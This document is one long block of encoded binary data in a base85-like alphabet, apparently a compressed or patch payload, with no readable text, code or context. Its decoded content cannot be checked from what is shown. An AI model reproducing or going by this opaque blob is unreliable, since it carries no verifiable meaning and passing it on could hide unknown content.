zO^B}%O~*k6O2W)6BZg~mZEcb`m8Tmi+q^|Q7E^S-yf6$}<44F0-~LM1P?S15v9jEO z8@?jkn^D!Mp};1Gnkzp_e4@_|pjkrr<#%@i)L&;0* zMXXNW3d?i7KRZcpS3*JGOoieAronY^#&@R{e2R2Y)b__edv~nUmuKu=-g|Gfhh*zzcGueL+yp^0kKyw+mL2wNW*dQBztYRh6Xj~RaFQE#{I}OAPLupsc zg5p|kponip|Kq5}JU>Qc36yi}L^oCnmX<0$QydnJ2U?5bekA!evNv9R7>&x2y!tFf zq$|#sD~D7x)$KO)oqN`|lyu+KQ7$qyCIn`MG+3ldqKj)jvx8`!y@Ei3RLr4vxEqPZ zJ%ey%C*2)Ar$}V%OtF+eie4FEQ(_`mkQ+jqPWTiYL<+NmHO=tQk3Xn=lhvz8;n6#K zIz;n17A{Z~Wm<)*75>dnAs+YBum~th0d0Q0uulQ`*{1}L#lHr^+07vWPu!@!J&0UGi+rJ~j06j&e8C7o;g8qGx z+C1*hH75tY%6ET~Iqp4b1GpoTik7#Bw1$8gfCNx_rHH=Pg z8mTG#Nh1C{bvb;wUR2>3qIJq9m^j`HvZMS$sik_?tJ2_+9-K*J*Be+Fw0Huxk1NXSr~TMdqO4NbVad+az^~VeqjXXYOx#Rjy%hqhbAgC3h7oL>n0_ zsBGqh!5q_S+VYBYb$1thD`J2U^% zCiJb-+i&zixA*)`0B|Mcvsiv{iDg%-#LwL7!p8S3(t82j*}LO_!S((I5JdOC`elVh zFCLei4Nw4E6sU=fChER5zy-y@iB77`6uc=~EKTO?`mf@95)GJchG)`**kjh<&+2IG zq9*vENJUCzC0+aAcU!^vTd{Nf$0pQ;L%K!>9AK)t(fEYK23`MggBlO>8h!*gfctwP zy@*Ywlt&?<+J%YPX23W7TkU9+086Rgpaa>Ds7IFzp`j8JHy3#`-w8EbjrFjShthwE zF+h&7tHEdn!G9iePVnA9Q1k3;1Jh;)ZE?-G*cO5Gocx}cPj-EaNE31I{95Bz3aqU$ zaUYV=62r5vX7OzhMCEVnwQ0Hn*kBcrNtyhiGzPigCPU}BxhYZ#oW8T!)#3VM1SN1z z8uZra(TX5nQ1OTMiKH@LT$+e1?vxEqAo7FFO&opPZUjKCGzG@z%11GnUD$w}cybkc z=A`pRBNo`+eX?N^1^==!abS@3eC-3bhig&5Ccz8qNE$GA3|c(Xx-r&Af(O4cYXdac z`aK8met1$Z>Aq?wniH+MGI~j+6+fd%DS|~#2z&?-3PDP^fX79vP~+1@-01#}OFSkw zvbwIVF01?DmfSDH$n}%8N)i1~^dj2g_K#`bMSiTsucbPmA`=1AY;Lo8^)4cK7Yqtk}4gz07y^J8m`7%m8MHcTVYroLs=-4C$#fC zcou6McZ~oBBOv>1Ty4%4C?ioVk>(SOUX!!CcS>_pMS5&K;L}VV`JuU6Rxa<_X;zq zH-}7KCxYp5f3ip|#b!R5F(Hlju#v`mHX$;Ik&lj5SsX$X1g)&SQI-| z_~laNsaWMT^H^FGniM%^0PKN$pKjtjYtHbL-@aqz8)ew%xO)x z0F^dZDkO7YofbjJjIYW?8>4INFE=&uV{8!EgaTs`W1wd* z2i{D9YZ^)M-+bTV!W2&{E9$DO$vOYM)!U_m{XW`A&2ZOjj6>^}5?guJc%RNwwS3W|$;I>3aHPQwD-?(=%}12YkR$~=t=p-*_jn#eq@ zBE@989IwkXE26RD{1jArEJbWU$<0yHdQk@57h!fPk!k=uDf#?>j}}gQ9l>{N{;`5%OH~xo+m2-68`oYKV#+3F-e3Ko8hzwo*8rKh}=Kz|7QS z*JD@5mahm{mSf@s!y<)J2-Cw#kl2yFNGBB40@3vIXDLZDmi3{_RBUP@Cuw+1;QXZW zJWh8U2pRUYmpKb0QTVQ!RPMmxdWNx=Ook6p6l0vM8F=rp#rtOc`)z%-^lr=2yi}cgw zMXW3OCvPB3wgQ-$QF!))tQ+cy;5Bu1uBr@f{3vLwdcBa#-!Y7LIE4QhN26_Ir}R~{ zyyu;T0blo%#U}-G$$&G(FU!<}EN#8vw})jkPuik%|#al0Fm0&Mg(6yXAfMh-t^3keNhoB8~#zVXX_q+eApnD;*vW9o($hQMR$Ve0P?!cHs0Y7^&Shr}mc_6CKkL zIlsE;O!!^=nc%2i4k;JYdt1)4$jMs>lR#0l@S4SSERxv->@*Y!=q$ZcFn&3I;xMOy z&DiuftpZ}4Hs161TmtZ6y>6Lfx@?0uLKMKSbVAxzzxuKF1+uL&;YB&B)cmJ6UbH01&aW4lIS0Ehwyc7iwUgas5+;baN#DPj`Y@)^GkxVqqz z;U|0x1#6?`g1Imu%EiHWsHjhW7($W&x`dxrw;;%wA16PGik32OTE9i#QMsHZ@y)3J zIJ|83zSRd1IYYYql$aBbpH&*D$I8*vbEeh9d$y28d~mqFHN@_vE@kw(bs9@4roq|eY; znh_&wsXRN)sX%c(r9Hcbj^)$+u{1s@su-M`$^GJwT}n_!pJFfC@zT2TYtCE}d)A4M zUjeRz@2!4DG&drf6ALOb8d78_p*cZzG5jb!$tc$t@GK0Ykf1?hn)qx-w)z+`=uT1F z!cs{&wqh~N`3L>cYqU(r`5!N|v$EDA-G#0M!&ZeL=&xU`KXVl~k&G^lk_}}o^tbqP za!`bx0q`iQG|*k^3v`fO3a&|>scu~`*+~|TT|m(60OqZrma=1eBGn!S94AZ~72Z~J z2wc1>&xyx=(ifBhR>+{zBdCk9hiYau5KhEUeI|;PhvaDD+ph|2uTjO0;P>qyy`4ts ztUf0qC@W)7L{2edc}QrDW{pF?_Cm%LT#9Mms@UOblP8_+!=Fdu`=cQwqZoikxid?T zi%OMN)daIyY=^DXfx&@R_GRR57X%*!2|>5<9FlYo&+t#_Z*<_$$E^b|!+*p7wwRj3 z{e+vp?8?=5ymu_rySsZBsH{ulsl^$k5r;%!5(>Q#Y4aj(oQ9EeQ&L4zeIe6Wc71}XdD z#>J!5xZSHFyl^MkivMJ<0P#ktUQ3MH7cpPtt~~XK_|Q91$Ax7Z&(2R>pL*Vhw)D0l$DdaPgI! z1q}c+M&!#=BWRq80+E?l4q(B}M`H4_+sl;+l_Hw?b=V*VCHU{ zb@)uUTP4q&r=zKAy(;kfB)i^4@k{Rx%ExVx&gq58%cB<{v32+h@jdbV1t~Bp4*|{GFZKmFdw3fC?OmTg+f!BS)YzQ z4VI5IAfs7h<`7qgWw1CE@*y!nE)d8XTVaXNh{H>uL!VDlk*CV;)98Np{P0K+6K(`J zgtYQ!EtjPaQbH<9)&$--wM+n2xd>uInlIU6aCu~Bn~cVpUzUp<>V^EUb6ZbW=)VTM zTkT7Mkr=k@(%IS<^|~F!-{)*!OvXjeSc}oodG?+lL+v~)?K2t#?WkNES=hU*;b(&W z4!sNrS|+dxP9n4ZZ0IRK4J*7thH?+IA;qo2b!jOJ1CgOd4@reg+97gdecKr3S_^XN z89Ia5m`g&z9`?&pEz%cUw7$}4HzqUq|gdAL%X$fb4Ft4vqD}yQO z&UfqoNfBY$8H&cCOA}>O;u4dP;n;+&c0TCOY6>8Nz68fM0496320gmG&>%66hJlPNMHL*D@g~ByD#HCF9^5vFZ;Ck z2^}7M<+Y(BP8F}l224U+hZ~ivn^xM85wNH8PY9``M8M|}u9aELnez4g`0B7kohWZ4 zV(;??*GJzMWl_FsPSmyTo@D91AI)jAiU%fN0Zf=|=~%Uh<6=arPr?l|xD*r4n-`ud zD;kG$oS(n56Fr{PgeQ)6^1f&fP&EfD!9c z_Ly1pd986ZrGTV-oSv32sgP1w_N^J}nE>m(thDM~8GZk~eVshVzmAUEnbS~T@SR;P zDM(LUT^M64Nn^t@B-+ei&f=xf3NH-DL`Q|@@R zUP$i|*SB6O`7QXQ`m6)O_fg~%dbK;WGn7;JRYhV(Siog zJ6Ag}b^EX*z%;+|Irz)v3EJJ*z6`K9(04F`yfqx{B2=u!d#0~SkU<~`cXt+alt zb8+mCilfCg)N&QM>p3nyQ&zlrF|OiLT&<6k04d-^ zyjcd3#OjJ0qT(q)RuCD1C3_aL^B^&7@s67dd$UN=LiF#fD1Zdga1jE5%k_-!@vh%; z4*zhGtA<-{O^XX6#T1mG#3r&trd`9D! z`1yRaWwk-2ALi|f1eA9qrhU-8#P&3?dTPu{VQda7)!JLSY6eE!!lr`}uPnp-9rsqb)nF3Sr- zCp&PFlDmbz$jq}U1C~et?iWZ0GAB^DDb`s&y?5w)cmc}7xp`j!MR+y(Bp5Sd%UZpa zI5d*|*Yzvt#Duv>&HY&q>(-0XK%}^xX7d@(wDJDQkSHt!z*GK~*V|xL((Pwbg$?%v>244Kk(Tb(p$Dm zX6?1szT>*ji{COu({D`c4;~7bEc2_TQvBg&o;xS%CV(IoA_+yIR>qXH-u+k>jnS(< zSg)pB$_)#=?Nk1>>&7l7C@PBc(vn+RR@StFq0qFoGbbM{VhSn!!8!k}M@>AZhsNFy z7PsoAD~PXko`Bi+wEHhZM77Nox)QDTEzbk1My;;2aRbhxbW&(X3!qc#Dn^$#V#>`k zA$)(=XNn4AE6w{E1)OlybwVU(bYJ6rYzyhdtZhWE-xIqnEOq`8zp}dcZ~%-{1^Pa~ zRvreU2G>I98()C1Jew(hy})l&d9CJOFj4O;Nj(=VTM~Tj zk;i#A;-UuWpq6=wKp8WbbH4EsygmsE+8vb)@ZBBlNTd=w!4ahpLa*s_SqtmxrX#QGV2ioTu}rre)5^C@UKVw`m@Wk1?ug>&0V4-9>^%GQ@!4 z%2Y%3sQmSl>8_igzzgT6vYxKHN^*G4z-b0r$dm<*q1O0pEPIrHlx;HcPoa6y<)BVV zxyiAOF?(E4ai5KMp!dV%^)EinUtfsO>F`v1;0WbEZTsZ*NA;wmFLb5fgUt1;F}E+F zDSS{uCN5<%1E5UT$XV6I_@goJ85yJw^HqmRPM?>$cD2Yt(y{<0qV?-6#@*KzkXCuq z_C+_Oz5;Rc)cRLq4;vR(r_(J6?(#Igkb}0=YZa2EM6%Sp769TqLeL{oS#Xzv?-j6C z_Cb?u$gjG)z4^YcR`SDxt#yyPkI(#g`+goN;-xSeVXz}g;V>o*VllY(;WhzUAX zG2UZdg#A$xLJ{U&BsFJLx{eg*@SQS%I~~F9FQH}6mu2}^`3_lM!x)sbt7PTAOBD+9 zHOgstBmyI^URqfr}D<~)oG7nn(%9t6Td89?QKn=0HyToqPyH*o+eX%8rH~bF` znsHafZX4{~*Noq02EnzJgpNbZC)X%1-ZyXvO%Y)97q2Bb#o zab|-D8l5#jx8=vaPrcSm>M)nT4nm}Wg+nW%%BfuQ?8+`z^5 zywMERo5`>Iu`02E4tI3Q-jze-f6&fX0AS9kMRY`-2dqK(;=LX(Ucf39lWGcVx9YMd zg%;B@=P$l5d^nY>Ql<@prIltjUcXyj?FCg0{VJT;D=>ps-5GJL!H zbMmBVc)sF&K$z0wxL@$@^7_f-T=4zJDY4`Kh8_j2GOfb6KU55NfKHp=$mlrgWO8xVR@JIB{k$$X^28B6REG){I#8S# zC#JCYQ09Y>N2ZQ^o^NfQZQhZl&=aBlZ#oz9v%6+MxD-ufppRaS_;RZ&(?p4uo?O@s z<}ccplF?x5#Y-wSoHklsGi)@k@0_i6VUt6cro=3|Gg25`z-L$=CUGH^>8`)4!4q9p z8Aa_j6Qtt8L#0Q)`wV$~JB@hHQYkt#7%nA^LEB2W368{5`9Lc}B+p3Mm_*Tr&h@di zzqAXRott00sj=OoHBe{|J3%0k3b8#2KznCzYPwx&g{;{=zQ5J78S9$W>2DwTM!#4$ zfWWL8I^RTW0{9Eq{Sg#VdqV9@t@U1mzKT<4qfL)LG-Vq3JBRm|`Iq_EP(yc%%a3r$ z1%KWPk09I6$0LgqfiHut0I55OH*Ukm%hk)))7CY}wX)vR!>zHWr{~Eh5Yacy^3pof zYE$XaTu_GlP26?M4Q?}Ty#|CVv7aS@fHCasFGDMH>X@rlbjH4a$uyrMB%(uW=vnzw`D9s-yI9WUG7cf*fEAOnWz*)v;sc6-er_HqLFw0iUBEM#P#afFb0v7b1!T1Q+~V`XLd(Kq z=)&k!Bix$F1oaN<-LQc>;%Kz6U4^a!)d^;L4Vb<&rSRckv4-Wun#Tt_X>x0I-=#r) z?_s`|Phy&XGO_U|K63Y>e!B}rh=n->Mdhay6$J4K3!tLvG_#CY@spVAU_;snH5D04 z)1+C8(vnh!r=`bjX-X6`>8ZC@5S+Na?sYt(l7_W&FGvFS3iI+Ps0%Os1B>Ie&w(tg zzd|Wn9o{8akQb$8x93f}J_FhGz!%!p98P)Ye7tktqO;aTpzCK?DfkZp;P%^dT+`*J z(fqJ06!9rnyuW;|Vz0|{2$F@0`@WxDqUahim3(217*mxHBWw0v3cKz-@J3oYZUJtv zfu4u&r++8+_O@cLHyXKHh=#<7@M%b82>bB1`WT^? z0glKsffz1~S(Z?Rdo2Y&Mp09|;LHyO?)l_pTCV*o0Bv$>SRYPt=RUy=5Y8L8N&;AQ zX)RTsE!Blp4F(yJUZpjDv7W&nA|r{5t>5BXev@feO0H?-Ulq@{_7f?Cq@toq7c4lv57w%L`7>zv8^wk8yO+i4?*xp8*Y(hVX+0#y6ji7q(dLwhLi3J^EhsWpC#XK z283}TB^Tzt@Gn(o5`lM2;1qUVLDRLxHVtrvca<;k1HzbhBdE`%H-{#)6fkIotu2$* zhhC63eBB^3*w4N=HM%>DU`8U%>MuEdcWAjr8`p2p0L`-VxTlPAN_&-& zfgT$D!vWb{UJ4d}M+9Shn$Y(h>13vx2;rIdrs3KdOfl%1d?+?v4**a&(R&6j;_{Sf zOHz1~q|@{E;;?7|By?fqHLq2i*6YKnW}T%I*PG$6GGOKWcN;nY^M}Zl&vdCum74jL zvJFKl48JouAb7tiQji#E&>>b}GW6i9y2ngBP$-QJG6HUN-$ zbbdYzo{MyY-(&OW~bUFyA&(Nb72Ern|MpQ{9lVttxFOKB&>#rFh$ zWzo625%i*B9zZ%3d;7*ZbWOX*a;#||p{yizI<~lBc=QNK%#tcMujhUw0PVoy3Z}TEH1VzYNx_qFo29n3ruvTeE9I5duN*Y z+3s(3k32mZM~IZj!opzyVt+2NJIJHaeOdItO24MbYYQVLgp@nMh_^iLTMBnoI2%qs zL)AOBCY`r6f7p_wRY(W$qrVTueh!`yKcI4^qIRUDqNMuI;_fKFwIJ5gD8E*Rm~GvG z<@GSb!!q`YgEy1sw>kZ!;Fd zg|a8WXcVckr@VraD6Cyxl0u*TC8))M0us9z6xbvG{wf438ae8a=#T)MSO6NnsE*r= zgVT(g0nI2FsLDj5QTtMankEj?CE)1E#q@!kUhZgpZ{1$$`i}-N`bIn38GWz@-yy-y!uut*!PH0YW zOZ7h?s{^`iR@(Yif83KR*qF#@I?d?ZRi<9RG!#AcPVADx*I3~g7ZrI|LM3hz^#vcGxrqBb`TyC@jD?cBFmE1`$CapA4!q-#D zN@|)P(j>(JX@|?C$NA{8tQG`}vn3UO4!1-pT5NmH4(zvv0umOUuSE3EEncQxY3Y-s zxAL}dx2!C}td;-^6X!r@XG<=G&E;~f%W(15^2^@olG1zJbf)ww#k&swZDfYuuK`HcN#(8!+tzUT9lz`@Kk9{AHf(`r40P zoJ~=p-yrMV=HBxv%-?g^)xx*nCdUn*w@Her@drmJ$E3LNTPrV!#L@K0LKLFpq0t&L zR?skA-yXa2i9?5o=$&RH4$03Gi7W*Rrf5_tUd+BrY8QeSJgOahDzEXH+tpGAlLSj; zh}Ki#dp$iNxRO2AVZL=rscm~})4ZO;?*=HA&*AMpDTt_id^DF$CoF9JsW`A~<>}-p zHA?+yzvp@Smn3q(RYzTGJL%%bt}&z-7DA9Zv)1M-w=^Zza#WI2gGw23U-R*jED9W4 zg=r0qEvSeEX{AqH!w~5JY9$k!bzjV%65Z-|r!ttyAnO&6q;j=1f$7=wS*Mm!q1=R@ zqBq`N@MD!IEjZ%rFVe1<+Ga_z%U{fB4&US9ZdK-|3ZZryQf>y0ixjj!1QquuI0xyd4YnLtU)(i zJxl(bEf+56pegx->YlT{tMSU*YNtcX0HH0`iCB%`cVz1Mo_Vf}pGr2&f8^HY0O%=I zVF-9&*i48_tv+UQF%?~E*I_;fAXdH;jrq2|TvmmenZ@rFAe4|(v0!XyV&dezh^_y# z0f9htbs^4tzBCG-;OvABDpHj3WG<(AgWJaL`XdtJB>PzsE#;r2Ui$;k=E(^-ed8UY{VvZ0>0EomtIq3B8?NbF;ABjJ z31nhS5>+zK;$P%vSrf60>VfQdL&^E`UuuVN&p9Rx@}VQ8>7#HXeVCCj4DBS~TuU?< zyiiJ>ner}KNlih^_~3JJ>y5>Y>C;2cCDjeu1Hv@M6tl1RUC`%bZhRtr35vM-vosD& zCVDbCHiE~iPFwf<$j&kUO_+;V){d4vHppd5cB_h96_D858?zOCA!=ywD(mzN$B5)} z3gAv4pWJC02TL#7wV;x`xpd(@dgWI<2|(>wVq`w^fm~>RFeFT6DeepjyLj0dpX?9f zqls@u@-dU|fIzgL5}F#`Ja*DHFrUxT6^104&%_uky`BA36uuFjLIp{&5!VhppiI7i z`8p#yKT*E04xD$U>LyA!0!hWpUj>U|;dE8tw4BF-ui`G|aGQQwSIniLlR+IkON1T1$N zRstYIQnGR;3Fw;+d8v$Fja(UhKY3l+@k$riB@U5du}N+2`=qGG)oqD~eSCT;YmvtT zk(D#bneuyRcbLr`SO#qkh#l@)&?cnnl+B(rZ?5QtLFygek;bDH3&nq`VngZGCsc4H zz@iQ54ZC5Q37sTU&Wq4yJRF`>(OcKs&9H9%;cMWwYm<%pxf|QpVg0)X;_?e6?I_uc4K{@F_;}#M$kL~nao<~ zkkdGwxuCgE4urNfWTkWC>H0B^{FqC02;UyS^AokXh5zr zQ>Ta{c^o_qDswBNfZ(ymxrver$KSups)IE>FN&>{K!XC4la%LI9?Sdq+@0ZaNe^B* zDOq?Yd)0XLO?b2lO=_Mpn4St71j&1Qv17`uyB<{GGydB5<*Tpxn1AgHT(#dak`oAx zk-U^VMPTnz9c)S`;Bv2pUNBknR5Cp76y)7CsPRY+@ucBRq|5H|Q>h!u=BXmM?5v5q zc_Hl^zw;#WtRAv?%epoNF13*Nxj!o^=CD}HP7>a)$pH|Qj zU4Rwts^ng-CW&u$;ssVF=erJ7qRNUlds*&<(IZu)R|*R(^vVAV@Tr~j@zSR4*Xm3|Wp`_4++-@9*T{_4bTdB-&W?hs<~@Vt zbjJJhc%W%NIaKuzG;`}&V$VDrssk&&9M1n@FQWP(;&?`i3iGdSnw0-AX=2kN@|Lx9 z+G~dT3g`ZgA@~5W<7%w$uJ`mkj0xOu+pTI?1hD_im(&tJM$G){v)|rFkmZ`8WSJRp z1G~%@3h@y(WGQ%`TB&N1Gm*&x8g3KvD(~_tS{dbNGC)j9)BNx zVG0AN5G|+$ps$Kx`k=JryA&?`MXW;DYmXr1rfok+MKE+ClwzTu7+tQr(E7nw_^q-o z-P+X16xZ`bt;AhNA{VSx&;J=k^30o7?FXPg<*MTF$ZXG7GsKLb!o9}9@xs0DKu9ie zWsqd9wmm~w$hYN+uvYZOqe06s8lP%?R(%PUR(Wew}0VDAi0_)nv=J4k8+K1OZ^cbp%F~2xGl1cI| zuBF*YL6yfg+y~T`4YoV#HG1hO?1$`zx}1aq8>eSQP0$Re?I6QuUg4x>yPdaGq{HXq z8NWj$HeHi{a+Yy*;b&;OJPKcjLT_R^>3L<}duXjkCAZ1Uw#! zQX|R|Q*_+GUvFA63S0jpZp`Z+8FdC}U`#sj&$U3|L9RFJD^dQ5*Jx2;eW{qTN>b&?{G8ENj_NAy}-gu9#wBAs{W^*;aosezFcJ;)fE0 ziPipCUsPk-n}R|PR>?tu}3g`p*pLtmN zP-KV~g(a%hLuNA%Y?%Gs9B(flMGNoC?Y4eYLp)7#cvUV-Ih#0@0V%YE&3+1QodRIy ztBEm8CJ6bM9Cc7K!X80Ws*)8~1sDX(nZ?SFzTpjJ?o_YBG9P3qIbcL2$ zG9c-kd*Ar_S~plKpi;F~lV9C$lIU}n+vPeAg6U+|J!7AF}BJNH1iOT?vSY3ej}fBs9|YQ?$eTzAy# zjzBXhnywWn6)-R~uY!X047Z`K;7@x&e_IJPF&QILr0HZFJ#{QfIlJ6tx4sIQyQVcx z>9j1wYhNy2vB6kETZ~ECIYtOmtr`|=1X|bHXQCdW0DC#6;$bc1Iq7c@X=~d+R$JzT z1vi6(uL3be5w|R*2oBh1CjHw{dQQ#5m)2O@Zq{YcxHvNMR5I&)f{MDC4;|$WAE;cx z$zrWj2j#<2ca4Ix5j&WPi%RcGZQKelsN9pIY0|tR>nice&li`H>*x=gtUKRG;^v4+ zf+GYcqHuc5)8!7Dyh|IhXU&bVM;s(`sZ{bWG)mf)SFXmdfU6+ryil_Hso~Jxu+nqp zh7}Tllob}OLE&h$Y~#J8>tqUBx&y2e6jmS4a%&}?4=N=C5vNZB-6z?#mnSd?95C!N z>yOVP%XJwhwU3-GLg5O>NT30()6k1D(ZNWl;b(ztL0ingv3QYqs7DjE$8hE)pOb(_*VnZ~CtC=CNi_>rPX{!?~WItFM>srEtsrb)1%G)_?`-3B3)dgOXl&NhEIOzzC|b1&1f z_Mc4g;I>E3E@!HefX*8dXXD4a)yK!pp7w^oz>bEga_eVj_ik)JT;Dfsl_M}++EjXl zWlv55&CJXs$s{3}Bhfvn!Nz%LZv4qTeKxZdnXd9?IE41Qt5;sUa@h;qcqJc8&>uw< zsjW_TXk_%4e?=8fBGz$G14H}DAKsVYcn+B6dBtYf_*rXWI<5qzig^qgSqOT@v^BcD zK!W5eo$_DrVsOwv8h{H@3BI7v=2KdN@h;i9MH7GN`(B}hR3Qx&Bq^LbA2CS%n2r16 znRK*HOH*t6yj@GEeBCr;2TBAnq!wedPQ?+aJpRIGo0D{XLaQr*~-5 z*%r7BO`jc~Wl$aY5pX*$W4zZD<=+b;jYdn%q?^?+I@fO{El5tj>&l)3y-q&kY=N|X zUmg~MutRp}#MBGv#aiM{w#*Cg#pq89hJ5R{s&7hLBHj*)z_;ak{>dCS?S6Y(&Bf)! zY0}vlc!e8?T?+)J$Cb&cAI}j%!T%)pZoK@_ z)vpW1eClspf*bip{DsNXLm&&bP7S;R#TnXh5!CJx7FB6EfgeAFw{-+F6~Vi_sX%1B zOg{gFVzdbXdWY%o zz0P~+Fy5p_+S48Ns90RM6k)pz%H|MVB(j*_1_S+q4L`9i@f>Frzd?LJ4z-wY7B*AY zN|5kdq>vX~s6k^Z)F~)x`j6d@rM!nQVRE})bNPy(2(e1G;zA@|v2Oypy!fchx@TqG z=ob}W^K_@ar5(z)sm0}-x=9)HGT_Cz+dekR%N5U0aeIG$A8!ilJZm_da{`>Ik2k=7 z<4ck|b1IJ?)tD8vH7@^$0$)KoL+1gYoc-=jj&JKel7(Yj|Ss{}o`V`t_rZ zkfv%f*%D|2bVFH>);ZC6VV3hy#Yha8zrAV2^!gdy1xW(?46V*rM&wM!D0>{7+^WO_L0g!@bF0ikrQjUSsV{o+9T6FAv(?# zup28ly7V_NJHGY4tx7Wq3Z+4PMdqB(8pnqNvY?xG%JI?^PWwR0#+7%WULG;}p~eyL zQeN;hAKP@MvagQ)JZ$bXT#ts1wx(W%Oe(`#LRg=}E|c++V8dHQyil29vu@T~&w&ry zL;d?XvkIol`X2WJtSzd*bVHAwablal9z5PX-Dyt1NUqTn=d*eeuO{bA{-*r}V`Cfd67>J3} zehz(e(|lu(!4l!&8R&U&zXNPTtfgGTxt11Z2OtxA%fU6%@Qfu4M_WThjcWi(21oB& z{$6h!Y*0%+7bkuQvq~w8w`!SH{qZM?E3Bc2cFq>vd}!xAa$m%jv{@^CN08W`-m9ddm z>r@MSyxs8;lb9FHI#D0h7-rm5;Wq2FHvVO$6UHO|l9UHLKdHdiAjKuR@o|E({%GaQ zks4V$-;K-~a@RTZQ2gW~=J1W_rN>%qy=>y(t6q(-Bg1pMaWdLXDw4-aHOOjEVoTd9 zBvh9W;i;^#`J~c{CT5`J<@Y1of{yqHt%cTknmhmVXlvdvb^_&7R;zKT)q1>lsXG{5 z8IL#MXeOtwE`m`#d~1@gj}9M`K$%^6PNMS~!UbzXOjcL6)Ns~tjC^n#K3sUV{Pn7r z2M^B`Mp`oKST2iyfkQ#_fpdz*u~e1rH#EE?e^;do!-sHXJC8p1P@LPsy-mr?>E5hT6CI3B28xmwAcdtc^UCf92F`C4U^(fL$Hz@G?0 zUL<0^v{_!snG>`-CX_ePcngzJWRJ9~uIOt`Ep1H^S3lXBH$r*(cKr#R^Lcd0&HM0f z&CH~~&hzEc7r3Y(eMOHKp&%=uuT(SxW)A#zF)=y*g)bNJp_s>S>Bi;-`|QfahT8N#Rv>=Kwo~40vj9_FcP2VV}p=w&a(xzfYNoBLISU*M%8VVV|znF zrve7#s<`#A{N!h9pDiwo^nw>D%=Z)%3Fw1}Obhx|iQko^R+;F>znKJV3(lQvLKfKRl-%2&d5C+~@oDMDR`>4{?W zhGZ*b>yBf?lPu)uzPB@grZW0*3 zw{MN;Eh6|j2UE?T1c!XahjV&o>Sj(^y=kTdims$)7&N}MfwPV09i6wzuRL{pM>%A| zY%0qz@RUcD;lYnjQNajWpEndZ@?n#|B`I(RQ`bEJQ@oppFhrkOu+T~TH^m|>N9Dt= z8$60n7X$Pt7QGf6#a4uZn~k|%86tolC-%QjY<{Veech~s;M6_G*zk8HN|W!I_eke z&11(giph1gw9A@1TmiNNO^(%W{N4H6)A8`UdQ=eBK}97%rWzSFux|E_D(*fi3}#Z> zvUCW)Qiv*c$lI4*TArWsJrwsrmIg-dKxCWJn6n=>_>>l1iz5##{!_v?I|a zCe9#!Qyr;Y4?Po;u|siT!}#@qF^%Qp+K~QXr@v=cubl~II^UawjJ}CR5ca~Pq>+{O_>l3B7TgrvK)}Tg5SG@w9iyJN z;Sa|fR|5p!i$kLUIV97aL*IDWtDDmct36=t#amW?*tDcya+2vvvlM+HD|4OtkRqS* zZi*p(lR-k{EQjxh0H`c9B>AK2LNqOM$oDm!Ont;^Mm>$5 zwugPYxblePCgL*Ek-mf2!3utd3K6T9l_nr6{sz@-Y8U3I$YstNd$ zakl})l$feCpsj`D43h30paP;?16|RQbB2? zB$l#{e(QwbX{BMM_tSO4)%A4n-R099?mQko&yQ#n1?f0EpY+dn`Pr4DzNe+$f!6+B zB3TB`Is&?@cMHc$)T<_XCPHV};Z_~K>r*>V16>a9#&O-ol7FHiOXVf&7=Ng&lOnrI z_HLtBK>d^CNzws`|Jyt+G%J@xa=s_dbr<$4lIvWEl)vgNr}?rRw^Vt2shIPMR~_<9 z+C7`23$E(AJzMHOqE5@LIO&-1%x}zG1m^1|WC4q(=gGceH|>l~0!$({nqGkoTnB;e zUVHc;jLKkTx|EX#3{W7cAMeAwgU_6-@51xMkp()&s}BtyL?062lCBTveV~uBv)mBC zcncUWI;V$6LedjRMR0inWhml?=FC_Yv#9SwNhf ze8Ba5os*m>Og5 zE$M9bSxdSgV1H$PLEIiqo+O90xwYNpZ0E0iORcldog zW4`Qb%}lHnj@-J%a{5p?5SiYF^d^cJwLoi{-KlBx79 zbBOPKWVPDidHg80z6POhf#mHb!a;HZoL#RZyq&)rsVj}|kU@L@mbJjn8c$o2GKoph zv)TGeYN?;#+|tOyfSXLpU>%Koej=8Kf z)Z%;hsKlC2a<~k))N41CvM3R9YpOu+qK-iOhim2*=Rgnpi}Rm&SE%P+TERhO{iMoo z6s^mbjs&tTpiBK}5u6N}p)u_X_e-c>y{Uj%5KE5MjgY-OK41db3rhO~PnvBw!YA9J z;2+1)RJ?M?zmvx2uCJ)k}rT_giy?0jI<0vFupt zF-)_a@&BC=JRT>8{J(0&D`qKVyrrx!wHP!A-V>%Y*^{5@;B|^i^)iywnT7hoJ&Ix# zHB?^OQ-ClSwM$A;+>^U^L!#Lq}_rEJ%B3Nu(?eHF5u#vxb z__ySdx))Q>!7I|F-sFoc-7}CFzMIe;73HTw-_3G{p%5kuH2Fk+P~+k_mLONaX(g`Y zU8Q=>azM@d3SWO9_y#Vglt1}SqK;)WQvO<5n&jfT(UrcrG*YtoSlKLV-<9*@>usHL zaNT5blEMjG36vR4B_xK0?713+ccuQ>@OM8VGQA~x9&RfK(Gzig4wUEX(QS~SBmH4* z90}D&R$=Uef2Amr;nh~ba`aeKnd7WA4%(eMPK32xH5ksp+7^vZx?LFJb=m_hu|Q14 zF|5Zct1HLidqk`(L+~{*5#{Ui#X_>2k(TW3q>l$Qf3fPKqd?3%AMMF8fq0cOIw68HK znxJ>@3KM?%W*fRhvy^I|O}nMIAD8W38slj?n81!WyabvB7gq#Q$5QwqS!1os8bJ&Y zt?gWbPmTdrb~c{@eC{qjysCu@)_r?2v5L5@mFT{Q%$6h@*iUxteUXVy^|1`RyBD1U z&>HTdWGdef{Wx#gNiBK}DabKinc@5UaY?5W3pd2Qn~Xl{=0^#``TEt9n1RFTZP4k( z4g9eTsOTFxHRnd#G-hYoe0qy?!1c%QgCj^Sf>xP)zyDmiY&yml8&yt6WwYFNPYG`W zoBgeQP(V^qlC-=g1`Y;vX)68AJCG|EL+1ICh7Ph;4&7*M=Wnpcvj-0i#6r01LZeE6 z%bB$L6T`ICV(`o;4xiy-wh^CHX{bJeR~N;5jm$j1)XTfF!!z&@xU~g1ojx!!Z7K?6 zzcDw>a_Yq+vu^+AO5o^J3)Ebex;o5%=D3}fqJUh&U-YAP%5Fs?C)3j;p}2iwr0|m+ z4cK{{31h@9@P!_{Gt32IF|KOoYX00;S_cCwC{hgY2t2mSSqFxu4+Dluz;9%H2S4WU zXkT$+cVhh*dHJr8@MqOUFib>R(vUXd8{y`%uXE?*cS<2lULr+?ADa!N_+*atiUMS6 zz$_s!$A8|hcZdiekPJFavXPCeYpUjli_@V*ZOdks?(|xlF#cI{kbE*i#w~D%>7SUi zyV@Rtq37V2yw`hAsS3CS+6uw8Lc4Jn@|BYZ&CF5L{X{h$C6vOU4m!}-Xk`8H-lRrm 